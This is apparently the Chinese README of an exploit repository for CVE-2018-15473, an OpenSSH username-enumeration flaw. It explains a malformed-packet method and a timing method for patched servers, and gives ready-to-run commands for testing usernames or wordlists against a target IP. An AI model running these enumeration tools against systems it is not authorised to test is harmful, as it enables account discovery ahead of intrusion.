OpenSSH 至 7.7 版本允许远程攻击者通过发送格式错误的认证请求并观察服务器响应的差异来枚举有效用户名。
| 字段 | 值 |
|---|---|
| 受影响的软件 | OpenSSH 2.3 至 7.7 |
| CVSS v3.1 | 5.3 (中危) |
| 攻击向量 | 网络(远程,无需认证) |
| 根本原因 | 服务器在完整数据包解析完成前没有延迟无效用户的退出(auth2-gss.c, auth2-hostbased.c, auth2-pubkey.c) |
| 影响 | 信息泄露——枚举有效用户名 |
exploit.py — 畸形数据包(快速,多线程)发送一个截断的 SSH_MSG_USERAUTH_REQUEST(移除了布尔字段)。无效用户会触发提前退出(USERAUTH_FAILURE),有效用户则导致服务器断开连接。
exploit_timing.py — 时序攻击(较慢,适用于已修补的服务器)通过密码认证发送一个超长密码(约 100KB)。有效用户处理时间更长,因为服务器在拒绝前会哈希密码,而无效用户会立即被拒绝。该脚本顺序执行并自动校准阈值。
当 exploit.py 返回误报(已修补的服务器)时使用此脚本。
git clone <this-repo-url>
cd cve-2018-15473
pip install -r requirements.txt
# Malformed packet (try this first)
python3 exploit.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit.py <target_ip> 22 <lhost> <lport> -w usernames.txt -t 8
# Timing attack (fallback for patched servers)
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -w usernames.txt
| 参数 | 描述 |
|---|
target_ip | 目标 SSH 服务器 IP |
target_port | 目标 SSH 端口(通常为 22) |
lhost | 攻击者 IP(未使用,为模板一致性保留) |
lport | 攻击者端口(未使用,为模板一致性保留) |
-u, --username | 要测试的单个用户名 |
-w, --wordlist | 单词列表文件的路径(每行一个用户名) |
-t, --threads | 线程数(默认:4,仅适用于 exploit.py) |